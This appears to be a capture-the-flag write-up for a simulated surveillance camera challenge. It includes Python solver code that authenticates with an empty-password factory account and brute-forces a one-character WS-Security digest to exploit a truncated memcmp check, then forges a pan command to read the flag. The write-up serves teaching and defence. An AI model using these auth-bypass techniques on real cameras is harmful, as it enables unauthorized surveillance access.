· 5 min read

Qiangwang Quals 2026 - SSCP Smart Surveillance Camera

An empty-password factory account on the media channel hands over the firmware; the SSCP control channel then compares only strlen(provided) bytes of the password digest, so a one-character digest authenticates as admin. Forge an AbsoluteMove, pan onto the acceptance board, read the flag from the rendered frame.

Tagged: protocol-logic, ws-security, auth-bypass, firmware, ptz

Event
Qiangwang Quals 2026
Category
pwn
Difficulty
hard
Given
README.txt, sscp_protocol_spec.md, sample_sscp_capture.txt, sample_management_channel.txt, plus the diagnostic bundle pulled from the device

Summary

A camera speaks a custom “Smart Surveillance Secure Communication Protocol” (SSCP). The flag is printed on an acceptance whiteboard outside the camera’s current field of view, so the camera must be panned onto it and the rendered frame read. The chain: an empty-password factory account on the media channel yields a diagnostic bundle (including firmware), and the SSCP control channel has a length-controlled password-digest comparison — it compares only strlen(provided) bytes — so a one-character digest authenticates as admin. Forge an AbsoluteMove, swing the camera around, and the board renders the flag.

Target map

Five services proxied to the challenge host:

device port service auth
80 read-only live view session cookie
443 device service API X-Session
2020 SSCP PTZ control WS-Security UsernameToken
8800 media / firmware / diagnostics HTTP Digest (SHA-256)

The spec says PTZ is available only via SSCP (2020) using digest = Base64(SHA1(Base64Decode(Nonce) ‖ Created ‖ Password)) with account camera_acc.

1. Foothold — empty-password media account

The media service (8800) uses RFC-2617 SHA-256 Digest over a factory account table (HA1 = SHA256(user:realm:password)). Account hub_primary_2 has an empty password: authenticating with password="" returns a PNG and the service index self-reports "empty_password_row": true. The digest is just the standard RFC-2617 computation with an empty password:

USER, PW, REALM = "hub_primary_2", "", "TPC260"
h = lambda x: hashlib.sha256(x.encode()).hexdigest()
ha1  = h(f"{USER}:{REALM}:{PW}")          # empty password
ha2  = h(f"GET:{uri}")
resp = h(f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}")

This unlocks /diagnostic, whose bundle contains the firmware (verify_username_token, a stripped ARM ELF) — confirming the SSCP digest construction — while camera_acc’s password stays masked everywhere.

2. The bug — length-controlled digest comparison

The firmware’s verify_username_token builds the expected digest as Base64(SHA1(Base64Decode(Nonce) ‖ Created ‖ Password)), then compares it to what the client sent — but with memcmp(expected, provided, strlen(provided)). It counts the bytes of the attacker-supplied string, and never checks that the two are the same length. So a one-character string matching just the first Base64 char of the expected digest passes. Nonce reuse is also unchecked, so a single fixed nonce/Created works throughout. The token goes in a WS-Security SOAP header:

NONCE_B64 = "MDEyMzQ1Njc4OWFiY2RlZg=="          # any fixed nonce; reuse is allowed
CREATED   = "2026-08-15T00:00:00Z"
def sscp(op_xml, digest):
    env = f'''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header>
<wsse:Security xmlns:wsse="...oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken><wsse:Username>camera_acc</wsse:Username>
<wsse:Password Type="...#PasswordDigest">{digest}</wsse:Password>
<wsse:Nonce>{NONCE_B64}</wsse:Nonce><wsu:Created>{CREATED}</wsu:Created>
</wsse:UsernameToken></wsse:Security></soap:Header><soap:Body>{op_xml}</soap:Body></soap:Envelope>'''
    return requests.post(SSCP, data=env.encode(),
                         headers={"Content-Type": "application/soap+xml"}, timeout=15).text

TDS = 'xmlns:tds="http://www.onvif.org/ver10/device/wsdl"'
# brute the 64 base64 chars once against a harmless status op; "m" wins
digest = next(c for c in string.ascii_letters + string.digits + "+/"
              if "NotAuthorized" not in sscp(f'<tds:GetStatus {TDS}/>', c))

3. Pan and read the board

An authenticated AbsoluteMove to pan 172.5, tilt 10.0 swings the camera onto the board; fetching /preview returns the rendered frame with the flag{...} token under the ACCEPTANCE BOARD header (generated dynamically, so it differs per instance).

sscp(f'<tds:AbsoluteMove {TDS}><tds:Pan>172.5</tds:Pan>'
     f'<tds:Tilt>10.0</tds:Tilt></tds:AbsoluteMove>', digest)
media_get("/preview", save="flag.png")

Full solver: solve.py.

Flag

flag{...}   (redacted — read from flag.png on your instance)

Lessons

  • Compare authentication digests in constant time and require exact, canonical lengths.
  • Do not reuse nonces for UsernameToken validation.
  • Firmware and diagnostics endpoints often reveal enough protocol detail to test the live verifier precisely — and factory tables with empty-password rows should never ship.

Challenge files

  • README.txt
  • sscp_protocol_spec.md
  • sample_sscp_capture.txt
  • sample_management_channel.txt
  • diagnostic/ (device-pulled: config.json, firmware/vscp_dev.bin, capture/)
  • solve.py

Download the zip (10 files, 192 KB)

diagnostic/ is the bundle recovered from the device's media service during the solve